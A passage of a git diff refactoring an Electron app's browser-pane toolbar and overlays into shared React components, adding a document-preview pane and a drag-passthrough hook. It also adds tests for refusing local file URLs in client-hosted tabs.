+        {addressSlot}
+      </div>
 
       {children}
     </div>
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-toolbar.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-toolbar.tsx
index 7685b552343..86e75427b38 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-toolbar.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-toolbar.tsx
@@ -1,36 +1,20 @@
 import type { Dispatch, RefObject, SetStateAction } from 'react'
-import { cn } from '@/lib/utils'
-import {
-  Crosshair,
-  ExternalLink,
-  Loader2,
-  MessageSquarePlus,
-  RefreshCw,
-  SquareCode
-} from 'lucide-react'
-import { Button } from '@/components/ui/button'
-import {
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuItem,
-  DropdownMenuShortcut,
-  DropdownMenuTrigger
-} from '@/components/ui/dropdown-menu'
-import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { ArtifactPublishButton } from '@/components/artifacts/ArtifactPublishButton'
 import { translate } from '@/i18n/i18n'
 import type { BrowserReloadTrigger } from '../navigate/browser-reload-action'
-import { BrowserNavigationControlRow } from './browser-navigation-control-row'
+import BrowserAddressBar from './BrowserAddressBar'
+import { BrowserChromeToolbar } from './browser-chrome-toolbar'
 import { BrowserImportHintButton } from './BrowserImportHintButton'
+import { BrowserReloadControl } from './browser-reload-control'
 import { BrowserToolbarMenu } from './BrowserToolbarMenu'
 import { SshEgressIndicator } from './browser-egress-indicator'
-import { MarkupDrawButton } from '../annotate/MarkupDrawButton'
 import { destroyPersistentWebview } from '../host-guest/webview-registry'
 import { readBrowserHtmlArtifactRequest } from '../describe-page/browser-artifact-upload'
 import type { GrabModeHook } from '../annotate/useGrabMode'
 import type { BrowserViewportPresetId } from '../../../../../shared/browser-workspace-types'
 import type { GrabIntent } from '../describe-page/browser-page-types'
 
+/** Binds the shared browser chrome to a browsing page: an editable address bar and session tools. */
 export function BrowserPageToolbar({
   browserPageId,
   workspaceId,
@@ -105,7 +89,8 @@ export function BrowserPageToolbar({
   externalUrl: string | null
 }): React.JSX.Element {
   return (
-    <BrowserNavigationControlRow
+    <BrowserChromeToolbar
+      showTourAnchors
       controls={{
         canGoBack,
         canGoForward,
@@ -115,199 +100,84 @@ export function BrowserPageToolbar({
         reload: () => runReloadTrigger('button'),
         navigate: navigateToUrl
       }}
-      addressBarValue={addressBarValue}
-      onAddressBarChange={setAddressBarValue}
-      onSubmitAddressBar={submitAddressBar}
-      addressBarInputRef={addressBarInputRef}
-      dismissSuggestionsRef={dismissAddressBarSuggestionsRef}
-      addressBarLeadingIcon={<SshEgressIndicator worktreeId={worktreeId} />}
-      reloadControl={
-        <DropdownMenu modal={false} open={reloadMenuOpen} onOpenChange={setReloadMenuOpen}>
-          {/* Why: suppress the tooltip while the menu is open — both anchor below the button and would overlap. */}
-          <Tooltip open={reloadMenuOpen ? false : undefined}>
-            <TooltipTrigger asChild>
-              <DropdownMenuTrigger asChild>
-                <Button
-                  size="icon"
-                  variant="ghost"
-                  className="h-7 w-7"
-                  aria-label={reloadButtonLabel}
-                  // Why: preventDefault suppresses Radix's open-on-left-click (composeEventHandlers skips its
-                  // handler once defaultPrevented), keeping left-click on the primary action and the menu on right-click.
-                  onPointerDown={(e) => {
-                    if (e.button === 0) {
-                      e.preventDefault()
-                    }
-                  }}
-                  // Why: same trick for Radix's open-on-Enter/Space, which would otherwise preventDefault the
-                  // synthesized click and strand keyboard users. ArrowDown still falls through to open the menu.
-                  onKeyDown={(e) => {
-                    if (e.key === 'Enter' || e.key === ' ') {
-                      e.preventDefault()
-                      runReloadTrigger('button')
-                    }
-                  }}
-                  onClick={() => runReloadTrigger('button')}
-                  onContextMenu={(e) => {
-                    e.preventDefault()
-                    setReloadMenuOpen(true)
-                  }}
-                >
-                  {loading ? (
-                    <Loader2 className="size-4 animate-spin" />
-                  ) : (
-                    <RefreshCw className="size-4" />
-                  )}
-                </Button>
-              </DropdownMenuTrigger>
-            </TooltipTrigger>
-            <TooltipContent side="bottom" sideOffset={4}>
-              {reloadButtonLabel}
-              {/* Why: the chord maps to plain reload(), which is not what Stop or Retry do — only hint when they match. */}
-              {reloadShortcut && reloadButtonLabelKind === 'reload' ? ` · ${reloadShortcut}` : ''}
-            </TooltipContent>
-          </Tooltip>
-          <DropdownMenuContent align="start" alignOffset={-4}>
-            <DropdownMenuItem onClick={() => runReloadTrigger('reload')}>
-              {translate('auto.components.browser.pane.BrowserPane.0e080d820e', 'Reload')}
-              <DropdownMenuShortcut>{reloadShortcut}</DropdownMenuShortcut>
-            </DropdownMenuItem>
-            <DropdownMenuItem onClick={() => runReloadTrigger('hard-reload')}>
-              {translate('auto.components.browser.pane.BrowserPane.a1f3c2e4b5', 'Hard Reload')}
-              <DropdownMenuShortcut>{hardReloadShortcut}</DropdownMenuShortcut>
-            </DropdownMenuItem>
-          </DropdownMenuContent>
-        </DropdownMenu>
-      }
-    >
-      <BrowserImportHintButton profileId={sessionProfileId} />
-
-      <Tooltip>
-        <TooltipTrigger asChild>
-          <span className="inline-flex">
-            <Button
-              size="icon"
-              variant={grab.state !== 'idle' && grabIntent === 'copy' ? 'default' : 'ghost'}
-              className={cn(
-                'h-8 w-8',
-                grab.state !== 'idle' &&
-                  grabIntent === 'copy' &&
-                  'bg-foreground/80 text-background hover:bg-foreground/90'
-              )}
-              onClick={() => startGrabIntent('copy')}
-              disabled={isBlankTab || markupIsActive}
-              aria-label={translate(
-                'auto.components.browser.pane.BrowserPane.fdfc7fe0ef',
-                'Grab page element'
-              )}
-              data-contextual-tour-target="browser-grab-control"
-            >
-              <Crosshair className="size-4" />
-            </Button>
-          </span>
-        </TooltipTrigger>
-        <TooltipContent side="bottom" sideOffset={4}>
-          {translate(
-            'auto.components.browser.pane.BrowserPane.acbe79fd01',
-            'Grab page element ({{value0}})',
-            { value0: grabElementShortcut }
-          )}
-        </TooltipContent>
-      </Tooltip>
-
-      <Tooltip>
-        <TooltipTrigger asChild>
-          {/* Why: disabled <button> drops hover events, so wrap in a span so the tooltip trigger still fires. */}
-          <span className="inline-flex">
-            <Button
-              size="icon"
-              variant={grab.state !== 'idle' && grabIntent === 'annotate' ? 'default' : 'ghost'}
-              className={cn(
-                'relative h-8 w-8',
-                grab.state !== 'idle' &&
-                  grabIntent === 'annotate' &&
-                  'bg-foreground/80 text-background hover:bg-foreground/90'
-              )}
-              onClick={() => startGrabIntent('annotate')}
-              disabled={isBlankTab || markupIsActive}
-              aria-label={translate(
-                'auto.components.browser.pane.BrowserPane.fc9be38f6f',
-                'Annotate page element'
-              )}
-              data-contextual-tour-target="browser-annotation-control"
-            >
-              <MessageSquarePlus className="size-4" />
-              {browserAnnotationsLength > 0 ? (
-                <span className="absolute -top-1 -right-1 flex min-w-4 items-center justify-center rounded-full bg-primary px-1 text-[10px] leading-4 text-primary-foreground">
-                  {browserAnnotationsLength}
-                </span>
-              ) : null}
-            </Button>
-          </span>
-        </TooltipTrigger>
-        <TooltipContent side="bottom" sideOffset={4}>
-          {translate(
-            'auto.components.browser.pane.BrowserPane.fc9be38f6f',
-            'Annotate page element'
-          )}
-        </TooltipContent>
-      </Tooltip>
-
-      <MarkupDrawButton
-        onClick={() => (markupIsActive ? markupCancel() : void markupStart())}
-        disabled={isBlankTab || grab.state !== 'idle'}
-        active={markupIsActive}
-        surfaceActive={isActive}
-      />
-
-      {shareableArtifactFile ? (
-        <ArtifactPublishButton
-          sourceKey={shareableArtifactFile.filePath}
-          className="h-7 w-7"
-          createRequest={() => readBrowserHtmlArtifactRequest(currentBrowserUrl)}
+      addressSlot={
+        <BrowserAddressBar
+          value={addressBarValue}
+          onChange={setAddressBarValue}
+          onSubmit={submitAddressBar}
+          onNavigate={navigateToUrl}
+          inputRef={addressBarInputRef}
+          dismissSuggestionsRef={dismissAddressBarSuggestionsRef}
+          leadingIcon={<SshEgressIndicator worktreeId={worktreeId} />}
         />
-      ) : null}
-
-      <Button
-        size="icon"
-        variant="ghost"
-        className="h-7 w-7"
-        onClick={() => void window.api.browser.openDevTools({ browserPageId })}
-        title={translate(
+      }
+      reloadControl={
+        <BrowserReloadControl
+          menuOpen={reloadMenuOpen}
+          onMenuOpenChange={setReloadMenuOpen}
+          label={reloadButtonLabel}
+          loading={loading}
+          showShortcutHint={reloadButtonLabelKind === 'reload'}
+          reloadShortcut={reloadShortcut}
+          hardReloadShortcut={hardReloadShortcut}
+          onPrimary={() => runReloadTrigger('button')}
+          onReload={() => runReloadTrigger('reload')}
+          onHardReload={() => runReloadTrigger('hard-reload')}
+        />
+      }
+      importControl={<BrowserImportHintButton profileId={sessionProfileId} />}
+      elementTools={{
+        activeIntent: grab.state !== 'idle' ? grabIntent : null,
+        onStartIntent: startGrabIntent,
+        disabled: isBlankTab || markupIsActive,
+        grabShortcutLabel: grabElementShortcut,
+        annotationCount: browserAnnotationsLength
+      }}
+      markup={{
+        active: markupIsActive,
+        disabled: isBlankTab || grab.state !== 'idle',
+        onToggle: () => (markupIsActive ? markupCancel() : void markupStart()),
+        canShowDiscoveryHint: isActive
+      }}
+      shareControl={
+        shareableArtifactFile ? (
+          <ArtifactPublishButton
+            sourceKey={shareableArtifactFile.filePath}
+            className="h-7 w-7"
+            createRequest={() => readBrowserHtmlArtifactRequest(currentBrowserUrl)}
+          />
+        ) : null
+      }
+      viewSource={{
+        onSelect: () => void window.api.browser.openDevTools({ browserPageId }),
+        label: translate(
           'auto.components.browser.pane.BrowserPane.ec75d0c412',
           'Open browser devtools'
-        )}
-      >
-        <SquareCode className="size-4" />
-      </Button>
-
-      <Button
-        size="icon"
-        variant="ghost"
-        className="h-7 w-7"
-        onClick={() => {
+        )
+      }}
+      openExternal={{
+        onSelect: () => {
           if (!externalUrl) {
             return
           }
           void window.api.shell.openUrl(externalUrl)
-        }}
-        title={translate(
+        },
+        label: translate(
           'auto.components.browser.pane.BrowserPane.0f41bf80c7',
           'Open in default browser'
-        )}
-        disabled={!externalUrl}
-      >
-        <ExternalLink className="size-4" />
-      </Button>
-
-      <BrowserToolbarMenu
-        currentProfileId={sessionProfileId}
-        workspaceId={workspaceId}
-        browserPageId={browserPageId}
-        viewportPresetId={viewportPresetId}
-        onDestroyWebview={() => destroyPersistentWebview(browserPageId)}
-        isActive={isActive}
-      />
-    </BrowserNavigationControlRow>
+        ),
+        disabled: !externalUrl
+      }}
+      overflowMenu={
+        <BrowserToolbarMenu
+          currentProfileId={sessionProfileId}
+          workspaceId={workspaceId}
+          browserPageId={browserPageId}
+          viewportPresetId={viewportPresetId}
+          onDestroyWebview={() => destroyPersistentWebview(browserPageId)}
+          isActive={isActive}
+        />
+      }
+    />
   )
 }
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-viewport-overlays.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-viewport-overlays.tsx
index 21bf7c06cc5..6a19a405e0a 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-viewport-overlays.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-viewport-overlays.tsx
@@ -1,14 +1,6 @@
 import type { Dispatch, MutableRefObject, RefObject, SetStateAction } from 'react'
 import { cn } from '@/lib/utils'
-import { Copy, Globe, Image } from 'lucide-react'
-import {
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuItem,
-  DropdownMenuSeparator,
-  DropdownMenuShortcut,
-  DropdownMenuTrigger
-} from '@/components/ui/dropdown-menu'
+import { Globe } from 'lucide-react'
 import { translate } from '@/i18n/i18n'
 import { toHttpsRecoveryUrl } from '../../../../../shared/browser-url'
 import type {
@@ -19,17 +11,11 @@ import { BROWSER_GUEST_RECOVERY_ERROR_CODE } from '../host-guest/browser-page-gu
 import { BrowserLoadFailureOverlay } from '../navigate/browser-load-failure-overlay'
 import { useSshWorkspaceProbeSkipRecheck } from '../use-ssh-workspace-browser-route'
 import BrowserFind from './BrowserFind'
-import { MarkupOverlay } from '../annotate/MarkupOverlay'
+import { BrowserGuestAnnotateOverlays } from '../annotate/browser-guest-annotate-overlays'
 import type { MarkupModeController } from '../annotate/useMarkupMode'
 import type { GrabModeHook } from '../annotate/useGrabMode'
-import {
-  getBrowserOverlayAnchor,
-  type BrowserOverlayViewport
-} from '../describe-page/browser-annotation-geometry'
-import { BrowserPageAnnotationTray } from '../annotate/browser-page-annotation-tray'
-import { BrowserPageGrabToast } from '../annotate/browser-page-grab-toast'
+import type { BrowserOverlayViewport } from '../describe-page/browser-annotation-geometry'
 import { retryBrowserTabLoad, toDisplayUrl } from '../describe-page/browser-page-url-display'
-import { PendingBrowserAnnotationCard } from '../annotate/pending-browser-annotation-card'
 import type { BrowserTabPageState } from '../describe-page/browser-page-types'
 import type { useBrowserPageAnnotationSend } from '../annotate/use-browser-page-annotation-send'
 import type { useBrowserPageGrabAnnotations } from '../annotate/use-browser-page-grab-annotations'
@@ -84,42 +70,18 @@ export function BrowserPageViewportOverlays({
   grabAnnotations: ReturnType<typeof useBrowserPageGrabAnnotations>
 }): React.JSX.Element {
   const recheckSshRoute = useSshWorkspaceProbeSkipRecheck(worktreeId)
-  const {
-    pendingAnnotationPayload,
-    handleAddBrowserAnnotation,
-    handleCancelPendingBrowserAnnotation,
-    grabIntent,
-    grabMenuActionTakenRef,
-    handleGrabCopy,
-    handleGrabCopyScreenshot,
-    grabToast,
-    grabToastTimerRef,
-    dismissGrabToast,
-    setGrabToast
-  } = grabAnnotations
-  const {
-    browserAnnotations,
-    browserAnnotationTrayOpen,
-    annotationTraySendOpen,
-    handleAnnotationTraySendOpenChange,
-    activeGroupId,
-    browserAnnotationsPrompt,
-    handleBrowserAnnotationsSentToAgent,
-    handleCopyBrowserAnnotations,
-    browserAnnotationsCopied,
-    handleClearBrowserAnnotations,
-    handleDeleteBrowserAnnotation
-  } = annotationSend
   return (
     <>
-      {markup.isActive && markup.baseImage ? (
-        <MarkupOverlay
-          baseImage={markup.baseImage}
-          busy={markup.state === 'composing'}
-          onComplete={(input) => void markup.complete(input)}
-          onCancel={markup.cancel}
-        />
-      ) : null}
+      <BrowserGuestAnnotateOverlays
+        markup={markup}
+        grab={grab}
+        annotationSend={annotationSend}
+        grabAnnotations={grabAnnotations}
+        containerRef={containerRef}
+        webviewRef={webviewRef}
+        browserOverlayViewport={browserOverlayViewport}
+        worktreeId={worktreeId}
+      />
       <div
         role="status"
         aria-live="polite"
@@ -190,105 +152,6 @@ export function BrowserPageViewportOverlays({
           </div>
         </div>
       ) : null}
-      {pendingAnnotationPayload ? (
-        <PendingBrowserAnnotationCard
-          payload={pendingAnnotationPayload}
-          anchor={getBrowserOverlayAnchor(
-            pendingAnnotationPayload,
-            containerRef.current,
-            webviewRef.current,
-            browserOverlayViewport
-          )}
-          portalContainer={containerRef.current}
-          onAdd={handleAddBrowserAnnotation}
-          onCancel={handleCancelPendingBrowserAnnotation}
-        />
-      ) : null}
-      {browserAnnotations.length > 0 && browserAnnotationTrayOpen ? (
-        <BrowserPageAnnotationTray
-          browserAnnotations={browserAnnotations}
-          annotationTraySendOpen={annotationTraySendOpen}
-          handleAnnotationTraySendOpenChange={handleAnnotationTraySendOpenChange}
-          worktreeId={worktreeId}
-          activeGroupId={activeGroupId}
-          browserAnnotationsPrompt={browserAnnotationsPrompt}
-          handleBrowserAnnotationsSentToAgent={handleBrowserAnnotationsSentToAgent}
-          handleCopyBrowserAnnotations={handleCopyBrowserAnnotations}
-          browserAnnotationsCopied={browserAnnotationsCopied}
-          handleClearBrowserAnnotations={handleClearBrowserAnnotations}
-          handleDeleteBrowserAnnotation={handleDeleteBrowserAnnotation}
-        />
-      ) : null}
-      {/* Right-click context dropdown, positioned at the grabbed element's center. */}
-      <DropdownMenu
-        open={grab.state === 'confirming' && grab.contextMenu && grabIntent === 'copy'}
-        onOpenChange={(open) => {
-          if (!open && grab.state === 'confirming') {
-            // Why: skip rearm if a menu action already handled it — see grabMenuActionTakenRef.
-            if (grabMenuActionTakenRef.current) {
-              grabMenuActionTakenRef.current = false
-              return
-            }
-            grab.rearm()
-          }
-        }}
-      >
-        <DropdownMenuTrigger asChild>
-          <button
-            aria-hidden
-            tabIndex={-1}
-            className="pointer-events-none absolute size-px opacity-0"
-            style={(() => {
-              if (!grab.payload) {
-                return { left: 0, top: 0 }
-              }
-              const rect = grab.payload.target.rectViewport
-              const webview = webviewRef.current
-              const webviewRect = webview?.getBoundingClientRect()
-              const cRect = containerRef.current?.getBoundingClientRect()
-              const offsetX = (webviewRect?.left ?? 0) - (cRect?.left ?? 0)
-              const offsetY = (webviewRect?.top ?? 0) - (cRect?.top ?? 0)
-              return {
-                left: offsetX + rect.x + rect.width / 2,
-                top: offsetY + rect.y + rect.height / 2
-              }
-            })()}
-          />
-        </DropdownMenuTrigger>
-        <DropdownMenuContent align="start" sideOffset={4}>
-          <DropdownMenuItem onSelect={handleGrabCopy}>
-            <Copy className="size-3.5" />
-            {translate('auto.components.browser.pane.BrowserPane.c2ef0359b9', 'Copy Contents')}
-            <DropdownMenuShortcut>C</DropdownMenuShortcut>
-          </DropdownMenuItem>
-          {grab.payload?.screenshot?.dataUrl?.startsWith('data:image/png;base64,') ? (
-            <DropdownMenuItem onSelect={handleGrabCopyScreenshot}>
-              <Image className="size-3.5" />
-              {translate('auto.components.browser.pane.BrowserPane.1ded0d3168', 'Copy Screenshot')}
-              <DropdownMenuShortcut>S</DropdownMenuShortcut>
-            </DropdownMenuItem>
-          ) : null}
-          <DropdownMenuSeparator />
-          <DropdownMenuItem
-            onSelect={() => {
-              grabMenuActionTakenRef.current = true
-              grab.cancel()
-            }}
-          >
-            {translate('auto.components.browser.pane.BrowserPane.fa6ea61de3', 'Cancel')}
-          </DropdownMenuItem>
-        </DropdownMenuContent>
-      </DropdownMenu>
-
-      {/* Inline toast bubble; flips above the element when near the viewport bottom so it doesn't occlude it. */}
-      {grabToast ? (
-        <BrowserPageGrabToast
-          grabToast={grabToast}
-          grabToastTimerRef={grabToastTimerRef}
-          dismissGrabToast={dismissGrabToast}
-          setGrabToast={setGrabToast}
-        />
-      ) : null}
     </>
   )
 }
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-reload-control.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-reload-control.tsx
new file mode 100644
index 00000000000..32cf8ad50e0
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-reload-control.tsx
@@ -0,0 +1,99 @@
+import type { Dispatch, SetStateAction } from 'react'
+import { Loader2, RefreshCw } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+import { translate } from '@/i18n/i18n'
+
+/**
+ * Reload as browsers do it: left-click reloads, right-click offers the harder variant. Shared so
+ * both guest surfaces get the same gesture — what "hard" means is the caller's to define.
+ */
+export function BrowserReloadControl({
+  menuOpen,
+  onMenuOpenChange,
+  label,
+  loading,
+  showShortcutHint,
+  reloadShortcut,
+  hardReloadShortcut,
+  onPrimary,
+  onReload,
+  onHardReload
+}: {
+  menuOpen: boolean
+  onMenuOpenChange: Dispatch<SetStateAction<boolean>>
+  label: string
+  loading: boolean
+  /** The chord maps to plain reload, which is not what Stop or Retry do — hint only when they match. */
+  showShortcutHint: boolean
+  reloadShortcut: string
+  hardReloadShortcut: string
+  onPrimary: () => void
+  onReload: () => void
+  onHardReload: () => void
+}): React.JSX.Element {
+  return (
+    <DropdownMenu modal={false} open={menuOpen} onOpenChange={onMenuOpenChange}>
+      {/* Why: suppress the tooltip while the menu is open — both anchor below the button and would overlap. */}
+      <Tooltip open={menuOpen ? false : undefined}>
+        <TooltipTrigger asChild>
+          <DropdownMenuTrigger asChild>
+            <Button
+              size="icon"
+              variant="ghost"
+              className="h-7 w-7"
+              aria-label={label}
+              // Why: preventDefault suppresses Radix's open-on-left-click (composeEventHandlers skips its
+              // handler once defaultPrevented), keeping left-click on the primary action and the menu on right-click.
+              onPointerDown={(e) => {
+                if (e.button === 0) {
+                  e.preventDefault()
+                }
+              }}
+              // Why: same trick for Radix's open-on-Enter/Space, which would otherwise preventDefault the
+              // synthesized click and strand keyboard users. ArrowDown still falls through to open the menu.
+              onKeyDown={(e) => {
+                if (e.key === 'Enter' || e.key === ' ') {
+                  e.preventDefault()
+                  onPrimary()
+                }
+              }}
+              onClick={onPrimary}
+              onContextMenu={(e) => {
+                e.preventDefault()
+                onMenuOpenChange(true)
+              }}
+            >
+              {loading ? (
+                <Loader2 className="size-4 animate-spin" />
+              ) : (
+                <RefreshCw className="size-4" />
+              )}
+            </Button>
+          </DropdownMenuTrigger>
+        </TooltipTrigger>
+        <TooltipContent side="bottom" sideOffset={4}>
+          {label}
+          {reloadShortcut && showShortcutHint ? ` · ${reloadShortcut}` : ''}
+        </TooltipContent>
+      </Tooltip>
+      <DropdownMenuContent align="start" alignOffset={-4}>
+        <DropdownMenuItem onClick={onReload}>
+          {translate('auto.components.browser.pane.BrowserPane.0e080d820e', 'Reload')}
+          <DropdownMenuShortcut>{reloadShortcut}</DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuItem onClick={onHardReload}>
+          {translate('auto.components.browser.pane.BrowserPane.a1f3c2e4b5', 'Hard Reload')}
+          <DropdownMenuShortcut>{hardReloadShortcut}</DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
index 0d0f2381ab3..e5c2cc28240 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.tsx
@@ -18,6 +18,7 @@ import type { BrowserChromeShortcutScope } from '../describe-page/browser-page-t
 import { RemoteBrowserPagePane } from '../stream-remote/remote-browser-page-pane'
 import { ClientHostedBrowserPagePane } from '../ClientHostedBrowserPagePane'
 import { BrowserPagePane } from './browser-page-pane'
+import { WorkspaceDocPagePane } from '../workspace-doc/workspace-doc-page-pane'
 import { SshRoutedBrowserPageGate } from './ssh-routed-browser-page-gate'
 
 export default function BrowserPane({
@@ -156,26 +157,34 @@ export default function BrowserPane({
         >
           {(routedPartition) => (
             <div className="relative flex min-h-0 flex-1">
-              {renderedBrowserPages.map((page) => (
-                <BrowserPagePane
-                  key={page.id}
-                  browserTab={page}
-                  workspaceId={browserTab.id}
-                  worktreeId={browserTab.worktreeId}
-                  sessionProfileId={browserTab.sessionProfileId ?? null}
-                  sessionPartition={routedPartition ?? browserTab.sessionPartition ?? null}
-                  isActive={isActive && page.id === activeBrowserPage?.id}
-                  chromeShortcutScope={
-                    page.id === activeBrowserPage?.id ? resolvedChromeShortcutScope : 'inactive'
-                  }
-                  isAutomationVisible={automationVisiblePageIds.has(page.id)}
-                  isMobileDriven={mobileDrivenPageIds.has(page.id)}
-                  isRemotelyViewed={remotelyViewedPageIds.has(page.id)}
-                  inputLocked={activeBrowserDriver.kind === 'mobile'}
-                  onUpdatePageState={updateBrowserPageState}
-                  onSetUrl={setBrowserPageUrl}
-                />
-              ))}
+              {renderedBrowserPages.map((page) =>
+                page.docLocation ? (
+                  <WorkspaceDocPagePane
+                    key={page.id}
+                    page={page}
+                    isActive={isActive && page.id === activeBrowserPage?.id}
+                  />
+                ) : (
+                  <BrowserPagePane
+                    key={page.id}
+                    browserTab={page}
+                    workspaceId={browserTab.id}
+                    worktreeId={browserTab.worktreeId}
+                    sessionProfileId={browserTab.sessionProfileId ?? null}
+                    sessionPartition={routedPartition ?? browserTab.sessionPartition ?? null}
+                    isActive={isActive && page.id === activeBrowserPage?.id}
+                    chromeShortcutScope={
+                      page.id === activeBrowserPage?.id ? resolvedChromeShortcutScope : 'inactive'
+                    }
+                    isAutomationVisible={automationVisiblePageIds.has(page.id)}
+                    isMobileDriven={mobileDrivenPageIds.has(page.id)}
+                    isRemotelyViewed={remotelyViewedPageIds.has(page.id)}
+                    inputLocked={activeBrowserDriver.kind === 'mobile'}
+                    onUpdatePageState={updateBrowserPageState}
+                    onSetUrl={setBrowserPageUrl}
+                  />
+                )
+              )}
               <BrowserMobileDriverOverlay
                 driver={activeBrowserDriver}
                 onTakeBack={reclaimActiveBrowserForDesktop}
diff --git a/src/renderer/src/components/browser-pane/host-guest/use-browser-page-webview-lifecycle.ts b/src/renderer/src/components/browser-pane/host-guest/use-browser-page-webview-lifecycle.ts
index 6750713813a..495e02917e6 100644
--- a/src/renderer/src/components/browser-pane/host-guest/use-browser-page-webview-lifecycle.ts
+++ b/src/renderer/src/components/browser-pane/host-guest/use-browser-page-webview-lifecycle.ts
@@ -22,6 +22,7 @@ import {
   EMPTY_BROWSER_ANNOTATIONS,
   type BrowserOverlayViewport
 } from '../describe-page/browser-annotation-geometry'
+import { syncGuestAnnotationViewportBridge } from '../annotate/guest-annotation-viewport-bridge'
 import { attachBrowserPageWebview } from './attach-browser-page-webview'
 import { setBrowserPageWebviewInputLock } from './browser-page-webview'
 import type {
@@ -201,27 +202,13 @@ export function useBrowserPageWebviewLifecycle({
   )
 
   const syncBrowserAnnotationViewportBridge = useCallback((): void => {
-    const pendingPayload = pendingAnnotationPayloadRef.current
-    // Why: existing badges render in-guest for smooth scroll; only the pending dialog needs viewport messages.
-    const markers = browserAnnotationsRef.current.map((annotation, index) => ({
-      id: annotation.id,
-      index,
-      isFixed: annotation.payload.target.isFixed === true,
-      rectPage: annotation.payload.target.rectPage,
-      rectViewport: annotation.payload.target.rectViewport
-    }))
-    const enabled = isActiveRef.current && (pendingPayload !== null || markers.length > 0)
-    void window.api.browser
-      .setAnnotationViewportBridge({
-        browserPageId: browserTabId,
-        emitViewport: pendingPayload !== null,
-        enabled,
-        markers,
-        token: annotationViewportBridgeTokenRef.current
-      })
-      .catch(() => {
-        // The viewport bridge is visual-only; stale markers beat breaking the pane on a destroyed guest.
-      })
+    syncGuestAnnotationViewportBridge({
+      toolTargetId: browserTabId,
+      annotations: browserAnnotationsRef.current,
+      pendingPayload: pendingAnnotationPayloadRef.current,
+      surfaceActive: isActiveRef.current,
+      token: annotationViewportBridgeTokenRef.current
+    })
   }, [browserTabId])
 
   // Why: browserTab.url excluded from deps (changes every navigation → would destroy/recreate the webview); URL logic reads browserTabUrlRef.
diff --git a/src/renderer/src/components/browser-pane/host-guest/use-guest-drag-passthrough.ts b/src/renderer/src/components/browser-pane/host-guest/use-guest-drag-passthrough.ts
new file mode 100644
index 00000000000..d77a526529a
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/host-guest/use-guest-drag-passthrough.ts
@@ -0,0 +1,32 @@
+import { useEffect, type MutableRefObject } from 'react'
+import { useWebviewDragPassthroughActive } from './use-webview-drag-passthrough-active'
+
+/**
+ * Enrols a single component-owned guest in the renderer's drag passthrough.
+ *
+ * Why it matters: a `<webview>` swallows the pointer stream the document never sees, so a
+ * dnd-kit drag stops receiving `pointermove` the instant the cursor crosses one — the dragged
+ * tab stops following the cursor and the drop it was aiming for cannot be made. The browser
+ * pane's guests are held click-through through their registry; a guest that belongs to one
+ * component instead (the document preview) has no registry to be walked by, so it enrols here.
+ */
+export function useGuestDragPassthrough(
+  webviewRef: MutableRefObject<Electron.WebviewTag | null>,
+  /** Changes when the ref is pointed at a new guest, so one attached mid-drag is settled too. */
+  guestKey: string | null
+): void {
+  const passthroughActive = useWebviewDragPassthroughActive()
+
+  useEffect(() => {
+    const webview = webviewRef.current
+    if (!webview) {
+      return
+    }
+    webview.style.pointerEvents = passthroughActive ? 'none' : ''
+    return () => {
+      // Why reset rather than restore: the guest outlives this state, and leaving it transparent
+      // would cost the reader every click on the document.
+      webview.style.pointerEvents = ''
+    }
+  }, [guestKey, passthroughActive, webviewRef])
+}
diff --git a/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.test.ts b/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.test.ts
index a4ac5405dfc..a2f4cdc38cc 100644
--- a/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.test.ts
+++ b/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.test.ts
@@ -56,4 +56,31 @@ describe('resolveBrowserAddressBarSubmission', () => {
   it('treats blank input as the blank page rather than an error', () => {
     expect(resolveBrowserAddressBarSubmission('   ')).toMatchObject({ status: 'navigate' })
   })
+
+  it('keeps file URLs navigable for the local browser pane', () => {
+    expect(resolveBrowserAddressBarSubmission('/tmp/report.html')).toMatchObject({
+      status: 'navigate',
+      url: 'file:///tmp/report.html'
+    })
+  })
+
+  it('explains the refusal instead of blanking the tab when a client-hosted page gets a file URL', () => {
+    expect(
+      resolveBrowserAddressBarSubmission('/tmp/report.html', { allowFileUrls: false })
+    ).toEqual({
+      status: 'invalid',
+      loadError: {
+        code: 0,
+        description:
+          'This browser tab cannot open local files. Use "Open Preview to the Side" on the file instead.',
+        validatedUrl: '/tmp/report.html'
+      }
+    })
+  })
+
+  it('still navigates http(s) when file URLs are refused', () => {
+    expect(
+      resolveBrowserAddressBarSubmission('https://example.com', { allowFileUrls: false })
+    ).toMatchObject({ status: 'navigate' })
+  })
 })
diff --git a/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.ts b/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.ts
index 5bd33714d70..12ebdbd5c7e 100644
